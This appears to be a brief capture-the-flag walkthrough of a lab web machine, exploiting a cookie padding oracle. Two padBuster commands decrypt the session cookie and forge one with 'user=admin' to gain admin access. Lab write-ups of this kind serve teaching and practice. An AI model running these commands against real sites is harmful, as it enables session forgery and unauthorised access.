3.5 KiB
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Enumeration
I started enumerating the machine using my tool Legion:
There are 2 ports open: 80 (HTTP) and 22 (SSH)
In the web page you can register new users, and I noticed that the length of the cookie depends on the length of the username indicated:
And if you change some byte of the cookie you get this error:
With this information and reading the padding oracle vulnerability I was able to exploit it:
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"
Set user admin:
perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"
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Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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